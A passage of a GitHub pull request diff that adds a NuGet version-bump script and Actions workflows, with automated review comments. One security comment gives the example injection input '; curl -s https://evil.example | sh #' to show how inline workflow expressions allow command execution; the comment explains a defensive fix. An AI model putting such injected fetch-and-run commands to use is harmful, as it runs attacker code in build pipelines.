Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion .docfx/docfx.json
Original file line number Diff line number Diff line change
Expand Up @@ -45,7 +45,7 @@
],
"globalMetadata": {
"_appTitle": "Extensions for Asp.Versioning by Codebelt",
"_appFooter": "<span>Generated by <strong>DocFX</strong>. Copyright 2024-2026 Geekle. All rights reserved.</span>",
"_appFooter": "<span>Generated by <strong>DocFX</strong>. Copyright 2024-2026 Geekle. All rights reserved.</span><script src=\"https://context7.com/widget.js\" data-library=\"/codebeltnet/asp-versioning\" data-color=\"#059669\" data-position=\"bottom-right\" data-placeholder=\"Ask anything about the ASP Versioning docs\"></script>",
Copy link

Copilot AI Feb 20, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

External script loaded from third-party domain without integrity checks. The widget.js script is loaded from https://context7.com without any Subresource Integrity (SRI) hash or Content Security Policy. This creates a security risk as a compromise of the context7.com domain or a man-in-the-middle attack could inject malicious JavaScript into the documentation site. Consider adding an integrity attribute with an SRI hash if the script content is stable, or at minimum document this security tradeoff.

Suggested change
"_appFooter": "<span>Generated by <strong>DocFX</strong>. Copyright 2024-2026 Geekle. All rights reserved.</span><script src=\"https://context7.com/widget.js\" data-library=\"/codebeltnet/asp-versioning\" data-color=\"#059669\" data-position=\"bottom-right\" data-placeholder=\"Ask anything about the ASP Versioning docs\"></script>",
"_appFooter": "<span>Generated by <strong>DocFX</strong>. Copyright 2024-2026 Geekle. All rights reserved.</span><script src=\"https://context7.com/widget.js\" integrity=\"sha384-REPLACE_WITH_REAL_SRI_HASH\" crossorigin=\"anonymous\" data-library=\"/codebeltnet/asp-versioning\" data-color=\"#059669\" data-position=\"bottom-right\" data-placeholder=\"Ask anything about the ASP Versioning docs\"></script>",

Copilot uses AI. Check for mistakes.
"_appLogoPath": "images/50x50.png",
"_appFaviconPath": "images/favicon.ico",
"_googleAnalyticsTagId": "G-G15R2J7GBR",
Expand Down
1 change: 1 addition & 0 deletions .github/dispatch-targets.json
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
[ "swashbuckle-aspnetcore" ]
133 changes: 133 additions & 0 deletions .github/scripts/bump-nuget.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,133 @@
#!/usr/bin/env python3
"""
Simplified package bumping for Codebelt service updates (Option B).

Only updates packages published by the triggering source repo.
Does NOT update Microsoft.Extensions.*, BenchmarkDotNet, or other third-party packages.
Does NOT parse TFM conditions - only bumps Codebelt/Cuemon/Savvyio packages to the triggering version.

Usage:
TRIGGER_SOURCE=cuemon TRIGGER_VERSION=10.3.0 python3 bump-nuget.py

Behavior:
- If TRIGGER_SOURCE is "cuemon" and TRIGGER_VERSION is "10.3.0":
- Cuemon.Core: 10.2.1 → 10.3.0
- Cuemon.Extensions.IO: 10.2.1 → 10.3.0
- Microsoft.Extensions.Hosting: 9.0.13 → UNCHANGED (not a Codebelt package)
- BenchmarkDotNet: 0.15.8 → UNCHANGED (not a Codebelt package)
"""

import re
import os
import sys
from typing import Dict, List

TRIGGER_SOURCE = os.environ.get("TRIGGER_SOURCE", "")
TRIGGER_VERSION = os.environ.get("TRIGGER_VERSION", "")

# Map of source repos to their package ID prefixes
SOURCE_PACKAGE_MAP: Dict[str, List[str]] = {
"cuemon": ["Cuemon."],
"xunit": ["Codebelt.Extensions.Xunit"],
"benchmarkdotnet": ["Codebelt.Extensions.BenchmarkDotNet"],
"bootstrapper": ["Codebelt.Bootstrapper"],
"newtonsoft-json": [
"Codebelt.Extensions.Newtonsoft.Json",
"Codebelt.Extensions.AspNetCore.Mvc.Formatters.Newtonsoft",
],
"aws-signature-v4": ["Codebelt.Extensions.AspNetCore.Authentication.AwsSignature"],
"unitify": ["Codebelt.Unitify"],
"yamldotnet": [
"Codebelt.Extensions.YamlDotNet",
"Codebelt.Extensions.AspNetCore.Mvc.Formatters.Text.Yaml",
],
"globalization": ["Codebelt.Extensions.Globalization"],
"asp-versioning": ["Codebelt.Extensions.Asp.Versioning"],
"swashbuckle-aspnetcore": ["Codebelt.Extensions.Swashbuckle"],
"savvyio": ["Savvyio."],
"shared-kernel": [],
}


def is_triggered_package(package_name: str) -> bool:
"""Check if package is published by the triggering source repo."""
if not TRIGGER_SOURCE:
return False
prefixes = SOURCE_PACKAGE_MAP.get(TRIGGER_SOURCE, [])
return any(package_name.startswith(prefix) for prefix in prefixes)


def main():
if not TRIGGER_SOURCE or not TRIGGER_VERSION:
print(
"Error: TRIGGER_SOURCE and TRIGGER_VERSION environment variables required"
)
print(f" TRIGGER_SOURCE={TRIGGER_SOURCE}")
print(f" TRIGGER_VERSION={TRIGGER_VERSION}")
sys.exit(1)

# Strip 'v' prefix if present in version
target_version = TRIGGER_VERSION.lstrip("v")

Comment on lines +70 to +71
Copy link

Copilot AI Feb 20, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Missing validation for malformed or empty version strings. If TRIGGER_VERSION is set to an invalid value like "vvv1.0.0" or just "v", the lstrip("v") operation will produce unexpected results. Consider validating that the target_version matches a semantic versioning pattern after stripping the prefix to fail fast with a clear error message.

Suggested change
target_version = TRIGGER_VERSION.lstrip("v")
target_version = TRIGGER_VERSION.lstrip("v").strip()
# Validate that the resulting version is a semantic version (e.g., 1.2.3, 1.2.3-alpha.1+build.5)
semver_pattern = re.compile(
r"^(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)"
r"(?:-[0-9A-Za-z-]+(?:\.[0-9A-Za-z-]+)*)?"
r"(?:\+[0-9A-Za-z-]+(?:\.[0-9A-Za-z-]+)*)?$"
)
if not target_version or not semver_pattern.match(target_version):
print("Error: TRIGGER_VERSION is not a valid semantic version")
print(f" TRIGGER_VERSION (raw) = {TRIGGER_VERSION!r}")
print(f" Parsed target_version = {target_version!r}")
sys.exit(1)

Copilot uses AI. Check for mistakes.
print(f"Trigger: {TRIGGER_SOURCE} @ {target_version}")
print(f"Only updating packages from: {TRIGGER_SOURCE}")
print()

try:
with open("Directory.Packages.props", "r") as f:
content = f.read()
except FileNotFoundError:
print("Error: Directory.Packages.props not found")
sys.exit(1)

changes = []
skipped_third_party = []

def replace_version(m: re.Match) -> str:
pkg = m.group(1)
current = m.group(2)

if not is_triggered_package(pkg):
skipped_third_party.append(f" {pkg} (skipped - not from {TRIGGER_SOURCE})")
return m.group(0)

if target_version != current:
changes.append(f" {pkg}: {current} → {target_version}")
return m.group(0).replace(
f'Version="{current}"', f'Version="{target_version}"'
)

return m.group(0)

# Match PackageVersion elements (handles multiline)
pattern = re.compile(
r"<PackageVersion\b"
r'(?=[^>]*\bInclude="([^"]+)")'
r'(?=[^>]*\bVersion="([^"]+)")'
r"[^>]*>",
re.DOTALL,
Comment on lines +102 to +108
Copy link

Copilot AI Feb 20, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Potential issue with the regex pattern matching multiline PackageVersion elements. The regex uses re.DOTALL to match across lines, but the positive lookahead assertions may not work correctly if the Include and Version attributes are separated by newlines or significant whitespace. While this might work for most cases, consider testing with various formatting styles in Directory.Packages.props to ensure robustness.

Suggested change
# Match PackageVersion elements (handles multiline)
pattern = re.compile(
r"<PackageVersion\b"
r'(?=[^>]*\bInclude="([^"]+)")'
r'(?=[^>]*\bVersion="([^"]+)")'
r"[^>]*>",
re.DOTALL,
# Match PackageVersion elements (handles multiline and flexible whitespace)
pattern = re.compile(
r"<PackageVersion\b"
r'(?=[^>]*\bInclude\s*=\s*"([^"]+)")'
r'(?=[^>]*\bVersion\s*=\s*"([^"]+)")'
r"[^>]*>",

Copilot uses AI. Check for mistakes.
)
new_content = pattern.sub(replace_version, content)

# Show results
if changes:
print(f"Updated {len(changes)} package(s) from {TRIGGER_SOURCE}:")
print("\n".join(changes))
else:
print(f"No packages from {TRIGGER_SOURCE} needed updating.")

if skipped_third_party:
print()
print(f"Skipped {len(skipped_third_party)} third-party package(s):")
print("\n".join(skipped_third_party[:5])) # Show first 5
if len(skipped_third_party) > 5:
print(f" ... and {len(skipped_third_party) - 5} more")

with open("Directory.Packages.props", "w") as f:
f.write(new_content)

return 0 if changes else 0 # Return 0 even if no changes (not an error)
Copy link

Copilot AI Feb 20, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Redundant return statement. Line 129 returns 0 in both branches of the ternary operator, making the conditional logic unnecessary. This should simply be "return 0".

Suggested change
return 0 if changes else 0 # Return 0 even if no changes (not an error)
return 0 # Return 0 even if no changes (not an error)

Copilot uses AI. Check for mistakes.
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

Remove the useless conditional — flagged by Ruff (RUF034).

Both branches of return 0 if changes else 0 are identical; the expression always evaluates to 0 regardless of changes. Simplify to avoid the dead-code warning.

🔧 Proposed fix
-    return 0 if changes else 0  # Return 0 even if no changes (not an error)
+    return 0  # Return 0 even if no changes (not an error)
🧰 Tools
🪛 Ruff (0.15.1)

[warning] 129-129: Useless if-else condition

(RUF034)

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/scripts/bump-nuget.py at line 129, The final return uses a redundant
conditional expression "return 0 if changes else 0"; replace it with a simple
unconditional "return 0" to remove the useless conditional and silence the Ruff
RUF034 warning in the bump-nuget.py function containing that return.



if __name__ == "__main__":
sys.exit(main())
139 changes: 139 additions & 0 deletions .github/workflows/service-update.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,139 @@
name: Service Update

on:
repository_dispatch:
types: [codebelt-service-update]
workflow_dispatch:
inputs:
source_repo:
description: 'Triggering source repo name (e.g. cuemon)'
required: false
default: ''
source_version:
description: 'Version released by source (e.g. 10.3.0)'
required: false
default: ''
dry_run:
type: boolean
description: 'Dry run — show changes but do not commit or open PR'
default: false

permissions:
contents: write
pull-requests: write

jobs:
service-update:
runs-on: ubuntu-24.04

steps:
- name: Checkout
uses: actions/checkout@v4
with:
fetch-depth: 0
Copy link

Copilot AI Feb 20, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The workflow uses fetch-depth: 0 which fetches the entire git history. While this is necessary if the workflow needs access to all commits (e.g., for git log operations), it can significantly slow down the checkout step for repositories with large histories. Based on the workflow logic, only the latest commit should be needed. Consider using the default shallow clone (fetch-depth: 1) unless the full history is specifically required.

Suggested change
fetch-depth: 0
fetch-depth: 1

Copilot uses AI. Check for mistakes.

- name: Resolve trigger inputs
id: trigger
run: |
SOURCE="${{ github.event.client_payload.source_repo || github.event.inputs.source_repo }}"
VERSION="${{ github.event.client_payload.source_version || github.event.inputs.source_version }}"
echo "source=$SOURCE" >> $GITHUB_OUTPUT
echo "version=$VERSION" >> $GITHUB_OUTPUT
Comment on lines +38 to +41
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

Expression injection: pass client_payload values via env:, not inline ${{ }}.

The ${{ github.event.client_payload.source_repo }} and source_version expressions are interpolated into the shell script before the runner executes it. A workflow_dispatch caller (anyone with write access) can supply a value such as "; curl -s https://evil.example | sh #" to execute arbitrary commands. The repository_dispatch path is lower risk because only callers with push access to the upstream repo control the payload, but the workflow_dispatch path is directly exploitable.

The safe pattern is to assign the expression to an env: variable and reference it as a shell variable:

🔒 Proposed fix
      - name: Resolve trigger inputs
        id: trigger
+       env:
+         _SOURCE: ${{ github.event.client_payload.source_repo || github.event.inputs.source_repo }}
+         _VERSION: ${{ github.event.client_payload.source_version || github.event.inputs.source_version }}
        run: |
-         SOURCE="${{ github.event.client_payload.source_repo || github.event.inputs.source_repo }}"
-         VERSION="${{ github.event.client_payload.source_version || github.event.inputs.source_version }}"
-         echo "source=$SOURCE"   >> $GITHUB_OUTPUT
-         echo "version=$VERSION" >> $GITHUB_OUTPUT
+         echo "source=$_SOURCE"   >> $GITHUB_OUTPUT
+         echo "version=$_VERSION" >> $GITHUB_OUTPUT
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
SOURCE="${{ github.event.client_payload.source_repo || github.event.inputs.source_repo }}"
VERSION="${{ github.event.client_payload.source_version || github.event.inputs.source_version }}"
echo "source=$SOURCE" >> $GITHUB_OUTPUT
echo "version=$VERSION" >> $GITHUB_OUTPUT
- name: Resolve trigger inputs
id: trigger
env:
_SOURCE: ${{ github.event.client_payload.source_repo || github.event.inputs.source_repo }}
_VERSION: ${{ github.event.client_payload.source_version || github.event.inputs.source_version }}
run: |
echo "source=$_SOURCE" >> $GITHUB_OUTPUT
echo "version=$_VERSION" >> $GITHUB_OUTPUT
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/service-update.yml around lines 38 - 41, The current use
of inline expressions for github.event.client_payload.source_repo and
github.event.client_payload.source_version is vulnerable to expression
injection; move those expressions into workflow env variables and reference them
in the shell script as shell variables instead of interpolating with ${{ }}.
Specifically, add env entries that set e.g. SOURCE: ${{
github.event.client_payload.source_repo || github.event.inputs.source_repo }}
and VERSION: ${{ github.event.client_payload.source_version ||
github.event.inputs.source_version }}, then in the script reference the shell
variables SOURCE and VERSION (without further ${ { } } interpolation) when
emitting to GITHUB_OUTPUT to eliminate command injection via workflow_dispatch
payloads.

- name: Determine new version for this repo
id: newver
run: |
CURRENT=$(grep -oP '(?<=## \[)[\d.]+(?=\])' CHANGELOG.md | head -1)
Copy link

Copilot AI Feb 20, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Potential for unintended behavior when CHANGELOG.md has no version headers. The grep command will return nothing if no version pattern matches, causing CURRENT to be empty. This will result in NEW being just "..1" (malformed version string). Consider adding validation after the grep to check if CURRENT is empty and either fail with a clear error message or set a sensible default.

Suggested change
CURRENT=$(grep -oP '(?<=## \[)[\d.]+(?=\])' CHANGELOG.md | head -1)
CURRENT=$(grep -oP '(?<=## \[)[\d.]+(?=\])' CHANGELOG.md | head -1)
if [ -z "$CURRENT" ]; then
echo "Error: Could not determine current version from CHANGELOG.md. Expected headings like '## [1.2.3]'." >&2
exit 1
fi
if ! echo "$CURRENT" | grep -Eq '^[0-9]+\.[0-9]+\.[0-9]+$'; then
echo "Error: Current version '$CURRENT' from CHANGELOG.md is not in 'MAJOR.MINOR.PATCH' format." >&2
exit 1
fi

Copilot uses AI. Check for mistakes.
NEW=$(echo "$CURRENT" | awk -F. '{printf "%s.%s.%d", $1, $2, $3+1}')
BRANCH="v${NEW}/service-update"
echo "current=$CURRENT" >> $GITHUB_OUTPUT
echo "new=$NEW" >> $GITHUB_OUTPUT
echo "branch=$BRANCH" >> $GITHUB_OUTPUT
Comment on lines +46 to +51
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

Missing guard when CHANGELOG.md has no ## [X.Y.Z] version entry.

If grep finds no match, CURRENT is an empty string. The awk command then produces "..1" for NEW and "v..1/service-update" for BRANCH. Git rejects that as an invalid ref name, but by then PackageReleaseNotes.txt and Directory.Packages.props have already been modified, leaving the working tree in a partially-mutated state.

🔧 Proposed fix
        run: |
          CURRENT=$(grep -oP '(?<=## \[)[\d.]+(?=\])' CHANGELOG.md | head -1)
+         if [ -z "$CURRENT" ]; then
+           echo "Error: could not determine current version from CHANGELOG.md"
+           exit 1
+         fi
          NEW=$(echo "$CURRENT" | awk -F. '{printf "%s.%s.%d", $1, $2, $3+1}')
          BRANCH="v${NEW}/service-update"
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
CURRENT=$(grep -oP '(?<=## \[)[\d.]+(?=\])' CHANGELOG.md | head -1)
NEW=$(echo "$CURRENT" | awk -F. '{printf "%s.%s.%d", $1, $2, $3+1}')
BRANCH="v${NEW}/service-update"
echo "current=$CURRENT" >> $GITHUB_OUTPUT
echo "new=$NEW" >> $GITHUB_OUTPUT
echo "branch=$BRANCH" >> $GITHUB_OUTPUT
CURRENT=$(grep -oP '(?<=## \[)[\d.]+(?=\])' CHANGELOG.md | head -1)
if [ -z "$CURRENT" ]; then
echo "Error: could not determine current version from CHANGELOG.md"
exit 1
fi
NEW=$(echo "$CURRENT" | awk -F. '{printf "%s.%s.%d", $1, $2, $3+1}')
BRANCH="v${NEW}/service-update"
echo "current=$CURRENT" >> $GITHUB_OUTPUT
echo "new=$NEW" >> $GITHUB_OUTPUT
echo "branch=$BRANCH" >> $GITHUB_OUTPUT
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/service-update.yml around lines 46 - 51, The script
currently assumes CURRENT (from grep on CHANGELOG.md) always exists; when empty
the awk line that computes NEW and BRANCH produces invalid refs and leaves the
repo in a partially-modified state. Add a guard immediately after computing
CURRENT that checks if CURRENT is empty or unset and if so logs a clear error
and exits non‑zero before any file modifications (or alternatively prompts/sets
a safe default); reference the CURRENT/NEW/BRANCH variables and the grep/awk
computation so you place the check right after the CURRENT assignment and before
the awk that builds NEW and the BRANCH assignment.

- name: Generate codebelt-aicia token
id: app-token
uses: actions/create-github-app-token@v1
with:
app-id: ${{ vars.CODEBELT_AICIA_APP_ID }}
private-key: ${{ secrets.CODEBELT_AICIA_PRIVATE_KEY }}
owner: codebeltnet

- name: Bump NuGet packages
run: python3 .github/scripts/bump-nuget.py
env:
TRIGGER_SOURCE: ${{ steps.trigger.outputs.source }}
TRIGGER_VERSION: ${{ steps.trigger.outputs.version }}

- name: Update PackageReleaseNotes.txt
run: |
NEW="${{ steps.newver.outputs.new }}"
for f in .nuget/*/PackageReleaseNotes.txt; do
[ -f "$f" ] || continue
TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //' || echo ".NET 10, .NET 9 and .NET Standard 2.0")
Copy link

Copilot AI Feb 20, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Missing error handling when reading Availability line from PackageReleaseNotes.txt. If a file exists but lacks an "Availability:" line, the grep command will fail and the fallback default will be used. However, if the file format is corrupted or doesn't follow the expected pattern, this could result in incorrect TFM values being propagated. Consider validating that the extracted TFM value is non-empty and matches expected patterns before using it.

Suggested change
TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //' || echo ".NET 10, .NET 9 and .NET Standard 2.0")
DEFAULT_TFM=".NET 10, .NET 9 and .NET Standard 2.0"
RAW_AVAIL_LINE=$(grep -m1 "^Availability:" "$f" || true)
TFM=""
if [ -n "$RAW_AVAIL_LINE" ]; then
# Strip the 'Availability:' prefix and trim surrounding whitespace
TFM="${RAW_AVAIL_LINE#Availability: }"
TFM="$(printf '%s\n' "$TFM" | xargs)"
fi
# Validate that TFM is non-empty and matches an expected pattern; otherwise, fall back to default
if [ -z "$TFM" ] || ! printf '%s\n' "$TFM" | grep -Eq '^\.NET [0-9]+(, \.NET [0-9]+)*( and \.NET Standard 2\.0)?$'; then
TFM="$DEFAULT_TFM"
fi

Copilot uses AI. Check for mistakes.
ENTRY="Version: ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n"
{ printf "$ENTRY"; cat "$f"; } > "$f.tmp" && mv "$f.tmp" "$f"
done
Comment on lines +70 to +75
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

TFM fallback is unreachable without pipefail.

In the pipeline grep ... | sed ... || echo "...", bash evaluates the exit code of sed (the last command), not grep. When grep finds no Availability: line it exits 1, but sed receives empty input and exits 0, so the || echo fallback never fires and TFM is silently set to an empty string. The resulting entry becomes Availability: with no TFM text.

🔧 Proposed fix
          for f in .nuget/*/PackageReleaseNotes.txt; do
            [ -f "$f" ] || continue
-           TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //' || echo ".NET 10, .NET 9 and .NET Standard 2.0")
+           TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //') 
+           TFM="${TFM:-.NET 10, .NET 9 and .NET Standard 2.0}"

Using the shell parameter expansion ${TFM:-default} applies the fallback when TFM is empty regardless of which stage in the pipeline returned a zero exit code.

📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
for f in .nuget/*/PackageReleaseNotes.txt; do
[ -f "$f" ] || continue
TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //' || echo ".NET 10, .NET 9 and .NET Standard 2.0")
ENTRY="Version: ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n"
{ printf "$ENTRY"; cat "$f"; } > "$f.tmp" && mv "$f.tmp" "$f"
done
for f in .nuget/*/PackageReleaseNotes.txt; do
[ -f "$f" ] || continue
TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //')
TFM="${TFM:-.NET 10, .NET 9 and .NET Standard 2.0}"
ENTRY="Version: ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n"
{ printf "$ENTRY"; cat "$f"; } > "$f.tmp" && mv "$f.tmp" "$f"
done
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/service-update.yml around lines 70 - 75, The TFM
assignment is currently using a pipeline `TFM=$(grep -m1 "^Availability:" "$f" |
sed 's/Availability: //' || echo "...")` which makes the fallback unreachable;
change the extraction to assign whatever the pipeline produces into TFM and then
apply a shell-default fallback (e.g., use `${TFM:-".NET 10, .NET 9 and .NET
Standard 2.0"}`) wherever TFM is used or immediately after the pipeline so that
an empty TFM becomes the default; update the use in the ENTRY variable (the
`Availability: ${TFM}` portion) to reference the defaulted value to ensure the
release notes always include a non-empty Availability string.

- name: Update CHANGELOG.md
run: |
python3 - <<'EOF'
import os, re
from datetime import date
new_ver = os.environ['NEW_VERSION']
today = date.today().isoformat()
entry = f"## [{new_ver}] - {today}\n\nThis is a service update that focuses on package dependencies.\n\n"
with open("CHANGELOG.md") as f:
content = f.read()
idx = content.find("## [")
content = (content[:idx] + entry + content[idx:]) if idx != -1 else (content + entry)
Copy link

Copilot AI Feb 20, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Potential data loss if CHANGELOG.md doesn't contain the expected version header pattern. If the file exists but doesn't contain "## [" anywhere (idx == -1), the new entry is appended to the end rather than prepended to the beginning. This could result in the changelog being in reverse chronological order or entries being placed in the wrong location. Consider validating that idx is found and failing with a clear error if the expected pattern is missing.

Suggested change
content = (content[:idx] + entry + content[idx:]) if idx != -1 else (content + entry)
if idx == -1:
raise SystemExit("CHANGELOG.md does not contain the expected '## [' version header pattern; aborting update. Please fix the changelog format and rerun.")
content = content[:idx] + entry + content[idx:]

Copilot uses AI. Check for mistakes.
with open("CHANGELOG.md", "w") as f:
f.write(content)
print(f"CHANGELOG updated for v{new_ver}")
EOF
env:
NEW_VERSION: ${{ steps.newver.outputs.new }}

# Note: Docker image bumps removed in favor of manual updates
# The automated selection was picking wrong variants (e.g., mono-* instead of standard)
# TODO: Move to hosted service for smarter image selection

- name: Show diff (dry run)
if: ${{ github.event.inputs.dry_run == 'true' }}
run: git diff

- name: Create branch and open PR
if: ${{ github.event.inputs.dry_run != 'true' }}
env:
GH_TOKEN: ${{ steps.app-token.outputs.token }}
run: |
NEW="${{ steps.newver.outputs.new }}"
BRANCH="${{ steps.newver.outputs.branch }}"
SOURCE="${{ steps.trigger.outputs.source }}"
SRC_VER="${{ steps.trigger.outputs.version }}"
git config user.name "codebelt-aicia[bot]"
git config user.email "codebelt-aicia[bot]@users.noreply.github.com"
git checkout -b "$BRANCH"
Comment on lines +113 to +116
Copy link

Copilot AI Feb 20, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Race condition risk when multiple service updates are triggered simultaneously. If two upstream repositories release at nearly the same time, both workflows could try to create branches with the same name (since both would read the same CURRENT version from CHANGELOG.md), leading to git push failures. Consider adding a check to see if the branch already exists, or include a timestamp or triggering source in the branch name to ensure uniqueness.

Suggested change
git config user.name "codebelt-aicia[bot]"
git config user.email "codebelt-aicia[bot]@users.noreply.github.com"
git checkout -b "$BRANCH"
BASE_BRANCH="$BRANCH"
# Ensure branch name is unique in case multiple runs target the same version
if git ls-remote --exit-code --heads origin "$BRANCH" >/dev/null 2>&1; then
BRANCH="${BASE_BRANCH}-${GITHUB_RUN_ID}"
fi
git config user.name "codebelt-aicia[bot]"
git config user.email "codebelt-aicia[bot]@users.noreply.github.com"
git checkout -b "$BRANCH" || git checkout "$BRANCH"

Copilot uses AI. Check for mistakes.
git add -A
git diff --cached --quiet && echo "Nothing changed - skipping PR." && exit 0
git commit -m "V${NEW}/service update"
git push origin "$BRANCH"
echo "This is a service update that focuses on package dependencies." > pr_body.txt
echo "" >> pr_body.txt
echo "Automated changes:" >> pr_body.txt
echo "- Codebelt/Cuemon package versions bumped to latest compatible" >> pr_body.txt
echo "- PackageReleaseNotes.txt updated for v${NEW}" >> pr_body.txt
echo "- CHANGELOG.md entry added for v${NEW}" >> pr_body.txt
echo "" >> pr_body.txt
echo "Note: Third-party packages (Microsoft.Extensions.*, BenchmarkDotNet, etc.) are not auto-updated." >> pr_body.txt
echo "Use Dependabot or manual updates for those." >> pr_body.txt
echo "" >> pr_body.txt
echo "Generated by codebelt-aicia" >> pr_body.txt
if [ -n "$SOURCE" ] && [ -n "$SRC_VER" ]; then
echo "Triggered by: ${SOURCE} @ ${SRC_VER}" >> pr_body.txt
Copy link

Copilot AI Feb 20, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Potential command injection vulnerability in the inline bash script. The variables SOURCE and SRC_VER come from user-controlled inputs (github.event.client_payload or github.event.inputs). While they're used in echo statements that write to a file, if these values contain special characters or command substitution syntax, they could potentially be exploited. Consider sanitizing or validating these inputs, or use safer methods for string interpolation that prevent command injection (e.g., printf with format specifiers).

Suggested change
echo "Triggered by: ${SOURCE} @ ${SRC_VER}" >> pr_body.txt
# Sanitize potentially user-controlled values to prevent command substitution
SAFE_SOURCE="${SOURCE//\`/\\\`}"
SAFE_SOURCE="${SAFE_SOURCE//\$/\\\$}"
SAFE_SRC_VER="${SRC_VER//\`/\\\`}"
SAFE_SRC_VER="${SAFE_SRC_VER//\$/\\\$}"
echo "Triggered by: ${SAFE_SOURCE} @ ${SAFE_SRC_VER}" >> pr_body.txt

Copilot uses AI. Check for mistakes.
else
echo "Triggered by: manual workflow dispatch" >> pr_body.txt
fi
gh pr create --title "V${NEW}/service update" --body-file pr_body.txt --base main --head "$BRANCH" --assignee gimlichael
Copy link

Copilot AI Feb 20, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hardcoded assignee 'gimlichael' in PR creation command. If the maintainer changes or this workflow needs to be adapted for other repositories, this hardcoded username will need to be updated. Consider making this configurable through a repository variable or extracting it from repository metadata.

Copilot uses AI. Check for mistakes.
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

Hardcoded --assignee gimlichael and --base main reduce portability.

--assignee gimlichael will fail silently or error if that user is ever renamed or loses write access to a fork of this template. --base main breaks if a downstream repo's default branch is named differently (e.g. master).

🔧 Proposed fix
-         gh pr create --title "V${NEW}/service update" --body-file pr_body.txt --base main --head "$BRANCH" --assignee gimlichael
+         DEFAULT_BRANCH=$(gh repo view --json defaultBranchRef --jq '.defaultBranchRef.name')
+         gh pr create --title "V${NEW}/service update" --body-file pr_body.txt --base "$DEFAULT_BRANCH" --head "$BRANCH"
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
gh pr create --title "V${NEW}/service update" --body-file pr_body.txt --base main --head "$BRANCH" --assignee gimlichael
DEFAULT_BRANCH=$(gh repo view --json defaultBranchRef --jq '.defaultBranchRef.name')
gh pr create --title "V${NEW}/service update" --body-file pr_body.txt --base "$DEFAULT_BRANCH" --head "$BRANCH"
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/service-update.yml at line 139, The gh pr create command
currently hardcodes --assignee gimlichael and --base main; remove the hardcoded
assignee flag and replace the hardcoded base with a variable (e.g. --base
"$DEFAULT_BRANCH") so the workflow works across forks and repos with different
default branches. Add logic earlier in the workflow to populate DEFAULT_BRANCH
(for example from the repo metadata or an env fallback that detects origin's
default branch or falls back to main/master) and ensure the gh pr create
invocation uses --base "$DEFAULT_BRANCH" and no --assignee value.

78 changes: 78 additions & 0 deletions .github/workflows/trigger-downstream.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,78 @@
name: Trigger Downstream Service Updates

on:
release:
types: [published]

jobs:
dispatch:
if: github.event.release.prerelease == false
runs-on: ubuntu-24.04
permissions:
contents: read

steps:
- name: Checkout (to read dispatch-targets.json)
uses: actions/checkout@v4

- name: Check for dispatch targets
id: check
run: |
if [ ! -f .github/dispatch-targets.json ]; then
echo "No dispatch-targets.json found, skipping."
